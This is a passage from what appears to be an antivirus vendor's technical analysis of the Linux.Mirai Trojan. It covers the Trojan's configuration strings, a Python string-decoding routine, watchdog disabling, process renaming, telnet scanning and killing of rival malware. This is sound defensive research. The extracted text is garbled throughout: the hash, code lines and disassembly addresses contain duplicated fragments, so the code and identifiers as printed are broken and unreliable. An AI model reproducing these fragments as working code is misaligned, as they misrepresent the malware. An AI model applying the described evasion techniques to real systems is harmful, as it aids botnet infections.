Linux.Mirai SHA1: 7e0e07d19b9c57149e72a 7e0e07d19b9c57149e72a7ed266e0c8aa5019a 7ed266e0c8aa5019a6f 6f A modified version of Linux.DDoS.87 Linux.DDoS.87 and and Linux.DDoS.89 Linux.DDoS.89.. Its main differences from Linux.DDoS.89 are as follows: ·
·
Some samples of the Trojan can now delete themselves. The Trojan can disable the watchdog timer, which prevents system hangs, to make it impossible to reboot the computer.
·
The process’s name is changed to a random sequence containing the characters [a-z 0-9].
·
The configuration structure has been changed.
·
·
·
If a process named “.anime” is found, the Runkiller function not only terminates this process but also deletes the executable file. Unlike Linux.DDoS.89, this version v ersion can execute HTTP Flood attacks. If the Trojan fails to create a socket and connect to it, the corresponding function searches for the process that owns the socket and kills it.
The Trojan’s configuration looks as follows: Number
Value
Purpose
3
Listening tun0
Main output to stdin
4
Host
Command and control server’s IP address
5
Port
C&C server’s port
6
"https://youtube.com/watch? v=dQw4w9WgXcQ "
7
"/proc/"
runkiller
8
"/exe"
runkiller
9
" (deleted)"
10
"/fd"
runkiller
11
".anime"
runkiller
12
"REPORT %s:%s"
runkiller
13
"HTTPFLOOD"
runkiller
14
"LOLNOGTFO"
runkiller
15
"\x58\x4D\x4E\x4E\x43\x50\x46\x22"
runkiller
52
53
Number
Value
Purpose
16
"zollard"
runkiller
17
"GETLOCALIP"
18
Host
19
Port
20
"shell"
21
"enable"
22
"system"
23
"sh"
24
"/bin/busybox MIRAI"
25
"MIRAI: applet not found"
26
"ncorrect"
27
"/bin/busybox ps"
28
"/bin/busybox kill -9 "
29
"TSource Engine Query"
30
"/etc/resolv.conf"
31
"nameserver"
32
"Connection: keep-alive"
33
"Accept: text/html,application/xhtml+xml ml,,application/xml;q=0.9,image/webp,*/*;q=0.8"
34
"Accept-Language: en-US,en;q=0.8"
35
"Content-Type: coded"
36
"setCookie('"
37
"refresh:"
38
"location:"
39
"set-cookie:"
40
"content-length:"
application/x-www-form-urlenap
53
54
Number
Value
Purpose
41
"transfer-encoding:"
42
"chunked"
43
"keep-alive"
44
"connection:"
45
"server: dosarrest"
46
"server: cloudflare-nginx"
47
"Mozilla/5.0 (Windows NT 10.0; WOW64) Ap- User Agent pleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
48
"Mozilla/5.0 (Windows NT 10.0; WOW64) Ap- User Agent pleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
49
"Mozilla/5.0 (Windows NT 6.1; WOW64) Ap- User Agent pleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
50
"Mozilla/5.0 (Windows NT 6.1; WOW64) Ap- User Agent pleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
51
"Mozilla/5.0 (Macintosh; Intel Mac OS X User Agent 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" Safari/601.7.7"
All samples of the Trojan use a function that hides the following strings: def decode(str_ decode(str_enc): enc): return "".join([chr(ord(x) ^ 0x22) for x in str_enc])
Once launched, the Trojan removes its executable file from the disk, blocks the SIGINT signal with the help of sigprocmask, and sets the parameter SIG_IGN for SIGCHLD and a handler for SIGTRAP. Then the Trojan tries to open the /dev/watchdog file for reading/writing ( /dev/misc/watchdog is also checked) and, if successful, disables the watchdog timer. ioctl(fd, WDIOC_SETOPTION, WDIOS_DISABLECARD)
The Trojan subsequently opens a root folder and sends a request to the address 8.8.8.8:53 to get the IP address of its network traffic.
54
55
Next, the Trojan calculates a function taken from the argv[0] value: def check(name) check(name): : print name a = [ord(x) for x in name] sum = (0 - 0x51) & 0xff for i in [2,4,6,8,10, [2,4,6,8,10,12]: 12]: z =
(~a[i % len(a)] & 0xff)
sum = (sum + z)&0xff #print "%x %x %x" % (z, sum, sum % 9) return sum % 9
This function returns a number from 0 to 8 that represents an index in a function array: off_8055DC0
dd offset bind_socket
; DATA XREF: main+109o
.rodata:08055DC4 .rodata:0805 5DC4
dd offset sub_80517E0
.rodata:08055DC8 .rodata:0805 5DC8
dd offset sub_8051730
.rodata:08055DCC .rodata:0805 5DCC
dd offset create_config
.rodata:08055DD0 .rodata:0805 5DD0
dd offset sub_8051760
.rodata:08055DD4 .rodata:0805 5DD4
dd offset sub_80523F0
.rodata:08055DD8 .rodata:080 55DD8
dd offset strcopy
.rodata:08055DDC .rodata:080 55DDC
dd offset runkiller
.rodata:08055DE0 .rodata:0805 5DE0
dd offset sub_804E900
If argv[0] == “./dvrHelper”, a parental process receives the SIGTRAP signal (for which a handler was previously installed). The handler, in turn, modifies the IP address taken from the configuration and the C&C server’s port to which the Trojan will connect. Then a listening socket is opened at the address 127.0.0.1:48101. If this port is busy with another process, the Trojan runs a function that finds the process and kills it. The Trojan subsequently generates a name that looks like a random sequence containing the characters [a-z 0-9] and writes it to argv[0]. Using the prctl function, the process’s name is changed to a random one. Next, the Trojan creates child processes and terminates terminates the parental one. All further steps are performed in a child process—in particular, a structure containing handlers is filled in. Then a function responsible for scanning telnet nodes and a function that terminates the processes of other Trojans are launched. The Trojan then runs a handler for incoming instructions sent from the C&C server. If the Trojan detects that a connection to a local server is being established, it runs a child process to scan vulnerable telnet nodes and terminates the parental process. The pictures below show a code fragments for Linux.DDoS.87 and Linux.Mirai.
55
56
Code fragment for Linux.DDoS.8 Linux.DDoS.87 7
Code fragment for Linux.Mirai
56